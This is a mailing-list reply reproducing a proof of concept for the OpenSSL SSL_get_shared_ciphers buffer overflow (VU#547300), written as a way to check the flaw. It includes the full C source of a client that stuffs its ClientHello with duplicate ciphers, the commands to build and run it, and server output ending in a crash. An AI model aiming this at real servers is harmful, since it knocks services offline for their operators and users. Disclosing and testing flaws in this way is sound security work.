Hello,
> FYI _Vin
> •       Vulnerability VU#547300 - OpenSSL SSL_get_shared_ciphers ()
> vulnerable to buffer overflow, which may allow an attacker to execute
> code on an affected system (details posted at
> http://www.kb.cert.org/vuls/id/547300)
To check this you may for example execute:

1) On client side:

$ gcc -o ssl4 ssl4.c -lssl (compile)
$ ./ssl4 10.100.2.9:4433 1200 (connect to server)

2) On server side (here openssl binary)

$ openssl version
OpenSSL 0.9.7f 22 Mar 2005
$ openssl s_server -key key.pem -cert crt.pem
Using default temp DH parameters
ACCEPT              <-- waiting for connection
bad gethostbyaddr   <-- client connects
-----BEGIN SSL SESSION PARAMETERS-----
MHUCAQECAgMBBAIABQQgzF6/w+7Zo1Tm/5Bew3NzJK1ovCB0iRqyyMTIewlybnsE
MPmJB7B6HneYs47x2QHHT/Cd5Ukx2gdGAQcpo/BsbS5sgvmiYniETLDyk2wmYv+Y
XaEGAgRFbY8dogQCAgEspAYEBAEAAAA=
-----END SSL SESSION PARAMETERS-----
Shared ciphers:RC4-SHA:RC4-SHA:......
CIPHER is RC4-SHA
Segmentation fault  <-- core dump
$

openssl binary use SSL_get_shared_ciphers() and after
getting SSL client_hello with too many ciphers
all binary core dumps.
(Checked on FC4, HPUX1100, HPUX1123)

Best regards,
-- 
Marek Marcola <[EMAIL PROTECTED]>
#include <stdio.h>

#include <openssl/ssl.h>

/**
 * TLS connection info callback.
 *
 * @param    ssl     TLS connection socket
 * @param    type    connection type
 * @param    val     connection info
 * @return   none
 */
static void tls_connection_info_cb(const SSL * ssl, int type, int val)
{
	if (type & SSL_CB_LOOP) {
		printf("tls_state: %s: %s\n",
			   type & SSL_ST_CONNECT ? "connect" :
			   type & SSL_ST_ACCEPT ? "accept" : "undefined", SSL_state_string_long(ssl));
	}
	if (type & SSL_CB_ALERT) {
		printf("tls_alert: %s:%s: %s\n",
			   type & SSL_CB_READ ? "read" : "write",
			   SSL_alert_type_string_long(val), SSL_alert_desc_string_long(val));
	}
}

int main(int argc, char *argv[])
{
	BIO *bio;
	SSL *ssl;
	SSL_CTX *ctx = NULL;

	SSL_CIPHER *c;
	STACK_OF(SSL_CIPHER) *sk;

	int i;

	char *ciph = "RC4-SHA";

	if( argc != 3 ){
		printf("Usage: ssl4 ip:port n_ciphers\n");
		return(0);
	}

	SSL_load_error_strings();
	SSLeay_add_ssl_algorithms();

	RAND_load_file("/dev/urandom", 1024);

	printf("crypto lib: %s\n", SSLeay_version(SSLEAY_VERSION));

	if ((ctx = SSL_CTX_new(SSLv23_client_method())) == NULL) {
		goto err;
	}

	SSL_CTX_set_verify_depth(ctx, 4);

	if (SSL_CTX_set_cipher_list(ctx, ciph) != 1) {
		goto err;
	}

	sk=ctx->cipher_list;
	c=sk_SSL_CIPHER_value(sk,0);

	printf("Adding %d pseudo ciphers\n", atoi(argv[2]));
	for(i=0; i<atoi(argv[2]); i++){
		sk_SSL_CIPHER_push(sk,c);
	}

	SSL_CTX_set_info_callback(ctx, tls_connection_info_cb);

	printf("Connecting to: %s\n", argv[1]);
	if ((bio = BIO_new_connect(argv[1])) == NULL) {
		goto err;
	}

	if (BIO_do_connect(bio) <= 0) {
		goto err;
	}

	if ((ssl = SSL_new(ctx)) == NULL) {
		goto err;
	}

	SSL_set_bio(ssl, bio, bio);

	if (SSL_connect(ssl) <= 0) {
		goto err;
	}

	printf(" the cipher used by the client : %s\n", SSL_get_cipher(ssl));

	if (SSL_write(ssl, "test 123\n", 9) <= 0) {
		goto err;
	}

	SSL_shutdown(ssl);

	return (0);

  err:
	if (ctx != NULL) {
		SSL_CTX_free(ctx);
	}
	ERR_print_errors_fp(stderr);
	return (1);
}

Reply via email to